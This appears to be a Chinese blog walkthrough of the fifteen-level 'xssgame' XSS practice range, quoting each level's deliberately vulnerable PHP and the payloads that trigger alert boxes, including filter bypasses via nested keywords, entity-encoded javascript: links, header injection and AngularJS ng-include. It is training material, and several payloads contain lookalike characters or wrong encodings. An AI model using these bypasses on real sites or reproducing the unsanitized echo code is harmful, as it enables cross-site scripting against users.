xssgame靶场通关记录

靶场地址

国光老师修改以后的项目地址
解压后放入HTTP服务的目录下,浏览器打开。

第一关

没有任何防护
payload:

<script>alert('xss')</script>

第二关

测试语句:

<>"JavAScriPT'/:on;

查看网页源码:
没有找到和&lt;&gt;&quot;JavAScriPT'/:on;相关的结果.
输入的字符串经过htmlspecialchars($str)编码,< > "被转义为html实体.
输出的位置在< h2 >标签内容 以及 input标签的value属性中

php文件中回显到页面的方法是:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

h2 标签进行实体转义后没有方法构造html标签和script执行环节
input中可用 " 闭合结合事件响应进行弹窗.

payload:

" onclick=alert('xss')> 

拼接后的网页源码

<input name=keyword  value="" οnclick=alert('xss')> ">

点击input输入框即可弹窗

第三关

与第二关基本相同
php源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

用 ’ 闭合input中回显的字符串,构造事件响应弹窗.
payload

' οnclick=alert('XSS') //

拼接后的网页源码;

<input name=keyword  value='' οnclick=alert('XSS') //'>

第四关

测试语句
<>"JavAScriPT’/:on
查看网页源码

<h2 align=center>没有找到和&lt;&gt;&quot;JavAScriPT'/:on相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value=""JavAScriPT'/:on">

回显位置:

  1. h2标签内
  2. input value属性中
    input中 < > 符号被过滤

payload

" onclick=alert('xss') //

拼接后的网页源码:

<input name=keyword  value="" οnclick=alert('xss') //">

第五关

测试语句

<script>alert(1)</script>

回显结果:
在这里插入图片描述
过滤机制:
script – scr_ipt
on – o_n
考虑用javascript:代替script和on事件来执行弹窗

payload:

"><a href=javascript:alert('xss')>123</a> \\

在这里插入图片描述
点击123弹窗。

第六关

测试语句:

javascript<>on'href

回显结果:
在这里插入图片描述
过滤机制:
on – o_n
href – hr_ef
< script > – < scr_ipt >
本题没有进行大小写过滤
payload:
" 闭合input的value属性后 构造script标签弹窗

"><sCript>alert('xss')</scRipt>\\

第七关

网页源码:

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

可以看出将敏感字符替换为空,可以采用嵌套的方式绕过。
payload:

" oonnclick=alert('XSS') //构造事件
"> <sscriptcript>alert('XSS')</sscriptcript> //构造标签

第八关(*html编码绕过)

测试语句:

<script>alert(xss)</script>

页面源代码:

<form action=level8.php method=GET>
<input name=keyword  value="&lt;script&gt;alert(xss)&lt;/script&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<scr_ipt>alert(xss)</scr_ipt>">友情链接</a></center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/d2d2080f-746c-4276-9f63-585fc4fd4a9c.jpg" width="20%"></center>
<h3 align=center>payload的长度:29</h3></body>
</html>

发现input和a标签均有回显
input标签处<>被转移为html实体,a标签中script变为scr_ipt
经过尝试 a和input标签均会转义" 无法闭合

php源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
  • input标签经过htmlspecialchars转换后很难构造
  • a标签因为输出在href属性中可以考虑javascript:这种形式绕过
    利用当作字符串处理的特点,可以直接将我们的payload HTML使用HTML实体字符编码绕过
    t html实体编码后 &#116;

payload:

javascrip&#116;:alert('XSS')  //将t编码
javascrip&#x09;t:alert('XSS') //tab编码
javascrip&#x0a;t:alert('XSS') //回车编码

第九关(href属性js伪协议)

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

比第八关增加了http检测,只要在payload后加入http
payload:

javascrip&#x74;:alert('XSS') //http://

第十关

php源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

h2标签中的回显被htmlspecialchars转义无法构造
input标签t_sort中可以利用 " 闭合后通过构造事件来弹窗

payload:

t_sort=" onclick=alert('xss')>//

在这里插入图片描述
更改input的属性后点击可调转到下一关

第十一关

php源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

用htmlspecialchars转义的两处回显无法构造
t_ref处的字符串来源于HTTP_REFERER故更改请求包中的http referer来构造payload

payload:

Referer: " type="" onclick=alert('XSS') //

在这里插入图片描述

第十二关

与十一关相同,user-agent字符串被回显。

payload:

User-Agent: " type="" onclick=alert('XSS') //

第十三关

与十一关相同,cookie字符串被回显。

payload:

Cookie: user=" type="" onclick=alert('XSS') //

第十四关(Angular JS)

php源码

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这题考察Angular JSng-include用法.

ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗。
payload:

level14.php?src="level1.php?name=<img src=x οnerrοr=alert('XSS')>"

第十五关(url编码)

php源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

发现页面回显位置在center标签中,而且没有过滤<>可自己构造标签
又因为空格被过滤,考虑编码绕过

payload

<img%Asrc=0%Aonerror=alert('xss')>
url编码符号
%0a换行
%0dTab

在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值